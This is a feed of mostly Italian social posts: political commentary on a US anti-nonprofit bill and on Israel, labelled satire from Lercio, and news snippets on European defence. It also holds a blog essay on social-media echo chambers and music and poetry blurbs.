Sure, a nonprofit could challenge the constitutionality of the claims against it — and should win — but that could take years, and the controversy could permanently steer donors away.

Here’s what’s puzzling: This bill could easily backfire on Republicans, but they’re pushing it anyway. It’s one thing for anti-immigrant officials to claim broad powers to deport immigrants like Öztürk and Khalil. But conservatives aren’t anti-nonprofit. They have nonprofits too.

One could easily imagine a future Democratic administration, using powers gifted to it by today’s Republicans, deeming anti-abortion organizations terrorist supporters, or punishing conservative groups because of ties to white supremacists far less tenuous than the alleged ties between Öztürk and Hamas. Pro-Israel groups that associate with illegal West Bank settlers could be targeted in the unlikely event the Democrats nominate a pro-Palestine president.

So why don’t the bill’s proponents care about the obvious “shoe on the other foot” possibility? Is it because they’re just that shortsighted? Maybe. Or perhaps they don’t intend to ever relinquish power, and destroying civil society and the press is one part of that plan.


freedom.press/issues/dont-empo…



😂😂😂


Israele annuncia nuovo vertice tra Netanyahu e Satana


GERUSALEMME – È sempre più stretto il rapporto di fraterna amicizia tra il premier israeliano Benjamin Netanyahu e il Principe delle tenebre Satana. La loro più che trentennale collaborazione troverà nuovo slancio in un vertice annunciato dal governo di Gerusalemme che si terrà a fine mese nella capitale ebraica. Secondo fonti istituzionali i temi in […]

L'articolo Israele annuncia nuovo vertice tra Netanyahu e Satana proviene da Lercio.




che ci fosse in collegamento o qualcosa da nascondere per il fatto che non fosse in territori israeliano ma nella zona palestinese occupata? i militari non dovrebbero neppure essere li, sono abusivi. se sono li teoricamente dovrebbero esserci per difendere i palestinesi. ma io dubito.





Il 2% non è una scelta politica, ma un impegno per la nostra sicurezza. Le parole di Crosetto alla Camera

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L’Europa ha dovuto prendere consapevolezza che gli Stati Uniti sposteranno la propria attenzione sull’Indo-Pacifico e quindi c’è bisogno che il Vecchio continente si prenda in carico la propria difesa e



Non demonizzare, ma governare il digitale (e l’IA) per scongiurare il “tecnofascismo”

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Semplificando, la si potrebbe mettere come segue. La macchina a vapore ha dato vita alla rivoluzione industriale, che ha dato vita alla classe operaia, che ha dato vita all’ideale socialista… con tutto quello che ne è seguito. Il motore a



Difesa, così si riorganizza l’Ue verso il vertice Nato all’Aja

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Un cambio di passo, netto, per andare oltre un passato che da 80 anni a questa parte ha garantito la sicurezza alle nazioni europee tramite il doppio ombrello Nato-Usa. La consapevolezza di una nuova difesa europea sta tutta in questo assunto, che il ministro della difesa Guido Crosetto ha



#Trump e il saccheggio del welfare


altrenotizie.org/primo-piano/1…


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L' ombelico del mondo.


Una riflessione sull'autoreferenzialità con cui invadiamo i social media.

noblogo.org/transit/l-ombelico…


L' ombelico del mondo.


(165)

(ODM)

Guardarsi l’ombelico, sui #socialmedia è diventata una delle dinamiche comunicative più evidenti e problematiche del nostro tempo. Si manifesta come una continua conferma del proprio punto di vista all’interno di comunità digitali omogenee, dove gli utenti si confrontano quasi esclusivamente con contenuti che rispecchiano le loro convinzioni. Questo fenomeno crea un effetto di “eco chamber” (camera dell’eco), termine coniato per descrivere gli ambienti chiusi in cui le opinioni vengono amplificate e rafforzate dal continuo rimando tra soggetti che condividono idee simili.

La dinamica ha conseguenze profonde sulla qualità del dibattito pubblico, in particolare su temi complessi e controversi come la politica, l’ambiente, i diritti civili o la scienza. L’autoreferenzialità riduce la possibilità di confronto, impedisce l’incontro con punti di vista differenti e genera una polarizzazione che ostacola l’approfondimento. I social media, in teoria, dovrebbero essere strumenti potenti per la condivisione della conoscenza e la promozione del dialogo, ma nella pratica spesso si trasformano in spazi di conferma identitaria, dove l’obiettivo principale è ottenere consenso e visibilità piuttosto che interrogarsi, dubitare o cambiare opinione.

(ODM2)

Secondo Eli Pariser, autore del saggio “The Filter Bubble: What the Internet Is Hiding from You” (2021), gli algoritmi che regolano le piattaforme digitali personalizzano i contenuti che vediamo in base ai nostri comportamenti precedenti. Questo porta a una selezione automatica delle informazioni che rafforza la nostra visione del mondo e riduce l’esposizione a fonti alternative o critiche. E’ una bolla filtrante, dove ogni contenuto che entra è già stato pre-selezionato per piacere, non per stimolare il pensiero critico.

Il problema, dunque, non è solo sociale o culturale, ma anche strutturale: le stesse piattaforme sono progettate per massimizzare il tempo di permanenza degli utenti, non per favorire il confronto aperto. In questo contesto, l’autoreferenzialità diventa una forma di autodifesa e, al tempo stesso, di auto-promozione. Gli utenti non cercano un dialogo autentico, ma piuttosto la legittimazione della propria identità e delle proprie idee. Questo spiega perché spesso gli argomenti più seri vengano affrontati con superficialità o, peggio, strumentalizzati per ottenere like e approvazione.

Un altro contributo utile alla riflessione è quello di Sherry Turkle, psicologa e sociologa del MIT, nel suo libro “Reclaiming Conversation: The Power of Talk in a Digital Age” (2015). Turkle sostiene che la comunicazione mediata da schermo impoverisce la qualità del dialogo e porta a evitare i confronti più complessi, quelli che richiedono tempo, empatia e disponibilità all’ascolto.

Essere autoreferenziali rappresenta una piccola sfida per la democrazia e per la crescita culturale collettiva. Per andare oltre, è necessario sviluppare una nuova alfabetizzazione digitale, che insegni non solo a usare le piattaforme, ma anche a riconoscere i propri bias, a cercare attivamente il dissenso e ad apprezzare la complessità. Solo così i social potranno diventare davvero strumenti di apertura e non semplici specchi narcisistici.

E dato che tutti, prima o poi, ce la suoniamo solo per sentirci bene, più benvoluti, più apprezzati forse è il momento per cambiare musica.

#Blog #SocialMedia #Opinioni #Società

Mastodon: @alda7069@mastodon.unoTelegram: t.me/transitblogFriendica: @danmatt@poliverso.orgBio Site (tutto in un posto solo, diamine): bio.site/danielemattioli

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Tutte le opinioni qui riportate sono da considerarsi personali. Per eventuali problemi riscontrati con i testi, si prega di scrivere a: corubomatt@gmail.com




Spari contro delegazione con vice console italiano a Jenin: Israele non vuole testimoni


@Notizie dall'Italia e dal mondo
Durante una visita diplomatica organizzata dall’Autorità Palestinese, i soldati israeliani aprono il fuoco per allontanare il gruppo. Tajani convoca l'ambasciatore israeliano in Italia
L'articolo Spari contro delegazione con vice




CINA. L’arma delle terre rare contro Tariff Man


@Notizie dall'Italia e dal mondo
Così Pechino sfrutta i minerali strategici nel negoziato con gli Usa sul commercio
L'articolo CINA. L’arma delle terre rare contro Tariff Man proviene da Pagine Esteri.

pagineesteri.it/2025/05/21/ori…



How the Chicago Sun-Times printed an AI-generated summer guide; how schools were not prepared for ChatGPT; and those funny little guys from Star Wars.#Podcast


Se c’è qualcuno che fa continuamente e scientemente provocazioni è il Presidente del Senato La Russa. Adelmo Cervi è il figlio di Aldo, uno dei sette fratelli Cervi fucilati dai fascisti nel 1943, e ha tutto il diritto di dare del bastardo a Ignazio La Russa che ostenta il busto di Mussolini. La famiglia di [...]

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Erja Lyytinen – Smell The Roses
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Erja Lyytinen è una delle chitarriste blues-rock certamente emergenti nel circuito dei tour internazionali contemporanei. Una carriera discografica più che ventennale ha pubblicato dodici album in studio e diversi album dal vivo. Il mondo in cui la chitarrista finlandese è quello che filtra elementi in bilico tra rock e blues, che le ha portato vari […]
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Valeria Verbaro oggi su "L'Espresso":
Un premio per “l’artigianato poetico”, fuori dalle regole del mercato
lespresso.it/c/cultura/2025/5/…

#premiopagliarani #poesia #lespresso



Kyshona – Legacy
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“Un/una attivista è colui/colei che si impegna in modo appassionato e dedicato, a promuovere un determinato ideale o causa, spesso attraverso azioni dirette e coinvolgenti”. Abbiamo ripreso la suddetta affermazione per prenderci la licenza di aggiungere due attinenze al femminile, per evidenziare nello specifico quanto è stato basilare l’attivismo sociale e politico (anche di scrittrici, […]
L'art
“Un/una attivista è